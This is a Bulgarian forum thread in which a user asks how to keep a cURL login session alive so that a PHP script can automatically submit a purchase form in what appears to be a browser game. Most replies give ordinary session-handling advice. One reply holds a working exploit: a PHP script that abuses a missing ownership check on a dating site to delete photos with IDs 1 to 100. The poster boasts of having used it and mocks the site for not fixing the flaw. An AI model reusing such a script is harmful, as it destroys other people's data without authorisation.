Още един въпрос за cURL

dakata__92

Super Moderator
Примерно съм се логнал в някой сайт със cURL и желая докато съм логнат да се изпълни дадена форма на дадена страница ! Как ще стане ?
PHP:
$Link= 'http://example.com';
$User = 'daniel';
$Pass = 'parola';
$Cookies = 'cookies.txt';

$ch = curl_init();
$data = array('uname' => $User, 'password' => $Pass, 'form_submit'=>'Вход');
curl_setopt($ch, CURLOPT_URL, $Link);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);
curl_close($ch);

Искам примерно на страница http://example.com/turgoviq.php?tab=1&tip=2&seeRes=wood
да се изпълни пост заявката :

PHP:
$Wood = 'http://example.com/turgoviq.php?tab=1&tip=2&seeRes=wood';
	$buyWood = '1';

	$chWood = curl_init();
	$getWood = array('resId'=>'wood', 'amountToBuy' => $buyWood, 'submit'=>' Купуване ');
	curl_setopt($chWood, CURLOPT_URL, $Wood);
	curl_setopt($chWood, CURLOPT_POST, true);
	curl_setopt($chWood, CURLOPT_POSTFIELDS, $getWood);
	curl_setopt ($chWood, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($chWood, CURLOPT_COOKIEFILE, $Cookies);
	curl_setopt($chWood, CURLOPT_COOKIEJAR, $Cookies);
	curl_exec($chWood);
	curl_close($chWood);
Проблема е че не се изпълнява а формата е това :

HTML:
<form method="POST" action="turgoviq.php?tab=1&tip=2&seeRes=wood">
<input type="hidden" name="resId" value="wood">
<table class="tip11" width="520px" align="center" cellpadding="0" cellspacing="0">
<tr>
<td class="tipi1Left" width="20%" align="center">Налични</td>
<td class="tipi1Left" width="15%"align="center">Най-ниската цена</td>
<td class="tipi1Left" width="12%" align="center">Поръчване</td>
<td class="tipi1Left" width="15%" align="center">Средна цена</td>
<td class="tipi1Left" width="30%" align="center">Ще платите</td>
<td class="tipi1Center" width="8%" align="center"> Купуване </td>
</tr>
<tr>
<td class="tipi1Left" align="left">
  95270</td>
<td class="tipi1Left" align="center">1.24</td>
<td class="tipi1Left">
<input style="display: inline;" class="control3" type="text" name="amountToBuy" size="5" value="0" onkeyup="this.value=IsNumeric2(this.value);calculate(this.value);"></td>
<td class="tipi1Left" id="result" align="center"> </td>
<td class="tipi1Left" id="result2" align="center"> </td>
<td class="tipi1Center">
<input type="submit" name="submit" value=" Купуване " class="button2">
</td>
</tr>
</table>
</form>
 
Пробвай така:

$Link= 'http://example.com';
$User = 'daniel';
$Pass = 'parola';
$Cookies = 'cookies.txt';

$ch = curl_init();
$data = array('uname' => $User, 'password' => $Pass, 'form_submit'=>'Вход');
curl_setopt($ch, CURLOPT_URL, $Link);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);

$Wood = 'http://example.com/turgoviq.php?tab=1&tip=2&seeRes=wood';
$buyWood = '1';

$getWood = array('resId'=>'wood', 'amountToBuy' => $buyWood, 'submit'=>' Купуване ');
curl_setopt($ch, CURLOPT_URL, $Wood);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $getWood);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);
curl_close($ch);

Въпросът е че не трябва да задаваш нов curl_init..

Преди дни намерих дупка в 1 сайт за запознанства, трият снимките чрез чекбокс, в страницата със снимките вадят снимки за твоето потребителско име, но при самата заявка за триене не проверяваха дали постнатото id е твое.
И аз направих скрипт с който си трия снимки с id от 1 до 100 (така го избрах сега)
Ето го скрипта:

<?php
ob_start();

$cookiefile = tempnam("/tmp", "cookies");
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
$url = "http://********.com/log.php";
$url2 = "http://********.com/photos.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
$post = array('username' => 'blue88','password' => '123456asd','nonxpcookie' => '1');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$login = curl_exec($ch);

curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
for ($i=1; $i<=100; $i++)
{
$post = array('selectid[]' => $i,'delete' => 'Изтрий');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$delete = curl_exec($ch);
}
?>

Да видиш на какъв принцип работи ;)
А иначе на тези им писах да ме намерят в Skype да им оправя дупката, те не ме намират.. Техна си работа хаха..
 
Пробвах така както каза но не се получава нещо !
PHP:
<?php
//Данни за промяня.
$Realm = 'http://example.com/login.php?realm=13&lang=bg';
$User = 'daniel';
$Pass = 'parola';
$Cookies = 'cookies.txt';

//Логване.
$ch = curl_init();
$data = array('uname' => $User, 'password' => $Pass, 'form_submit'=>'Вход');
curl_setopt($ch, CURLOPT_URL, $Realm);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);


	$Wood = 'http://example.com/turgoviq.php?tab=1&tip=2&seeRes=wood';
	$buyWood = '1';

	$getWood = array('resId'=>'wood', 'amountToBuy' => $buyWood, 'submit'=>' Купуване ');
	curl_setopt($ch, CURLOPT_URL, $Wood);
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $getWood);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
	curl_exec($ch);
	curl_close($ch); 
	echo "<br><font color='Green' size='5'><center>Ima savpadenie</center></font>";

?>
 
Ами, не мога да помогна на сляпо тъй като не съм видял сайта и формата, и дори дали работи логина с curl както трябва..
Просто те насочих че данните се постват към първият curl_init.
 
proba каза:
Ами, не мога да помогна на сляпо тъй като не съм видял сайта и формата, и дори дали работи логина с curl както трябва..
Просто те насочих че данните се постват към първият curl_init.

До тук всичко си работи извежда си нещата и ми ги визиолизира и да логва се !
PHP:
<?php
//Данни за промяня.
$Realm = 'http://еxample.com/login.php?realm=1';
$User = 'daniel';
$Pass = 'parola';
$Cookies = 'cookies.txt';

//Ф-ция за взимане на информацията на страница.
function Get($url) 
{
	global $Cookies;
	$headers = array('Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
	'Connection: Keep-Alive',
	'Content-type: application/x-www-form-urlencoded;charset=UTF-8'); //масив с хедъри, които да прати при заявката
	$user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'; //user agent, с който да се представи скрипта

	$process = curl_init($url); // стартираме cURL
	curl_setopt($process, CURLOPT_COOKIEFILE, $Cookies);
	curl_setopt($process, CURLOPT_COOKIEJAR, $Cookies);
	curl_setopt($process, CURLOPT_HTTPHEADER, $headers); // задаваме хедърите, които искаме да пратим
	curl_setopt($process, CURLOPT_HEADER, 0); // задаваме не връща хедърите, които е получил от сайта
	curl_setopt($process, CURLOPT_USERAGENT, $user_agent); //задаваме user agent-а
	curl_setopt($process,CURLOPT_ENCODING , 'gzip'); //задаваме енкодинга
	curl_setopt($process, CURLOPT_TIMEOUT, 30); // максимален брой секунди за изпълнение на cURL заявката
	curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); //Това задава на cURL да върне резултата с функцията curl_exec. Ако е зададен false, резултата се принтира директно на страницата
	curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); //Зададен е true, за да последва, ако сайта редиректва към друга страница
	$return = curl_exec($process); //Изпълняваме процеса и връщаме съдържанието на страницата в променливата $return
	curl_close($process); //затваряме cURL
	return $return; //Връщаме HTML кода
}

//Логване.
$ch = curl_init();
$data = array('uname' => $User, 'password' => $Pass, 'form_submit'=>'Вход');
curl_setopt($ch, CURLOPT_URL, $Realm);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
curl_exec($ch);
curl_close($ch); 

$urlAdres = Get('http://еxample.com/turgoviq.php?tab=1&tip=2&seeRes=wood');
echo $urlAdres;

Ето от тук надолу довършителната част на кода не работи ! If-a си проверява нещата и като има съвпадение искам да се изпрати на страницата http://еxample.com/turgoviq.php?tab=1&tip=2&seeRes=wood заявката като това е кода последователно поставен тук :

PHP:
//Проверявам за налично дърво на пазара.
if(preg_match('/\<td class="tipi1Left" align="center"\>1\.25\<\/td\>/',$urlAdres))
{
	
	$Wood = 'http://example.com/turgoviq.php?tab=1&tip=2&seeRes=wood';
	$buyWood = '1';
	$ch = curl_init();
	$getWood = array('resId'=>'wood', 'amountToBuy' => $buyWood, 'submit'=>' Купуване ');
	curl_setopt($ch, CURLOPT_URL, $Wood);
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $getWood);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $Cookies);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $Cookies);
	curl_exec($ch);
	curl_close($ch); 
	echo "<br><font color='Green' size='5'><center>Ima savpadenie</center></font>";
}
else
{
	echo "<br><font color='Red' size='5'><center>Nqma savpadenie</center></font>";
}
?>
 

Back
Горе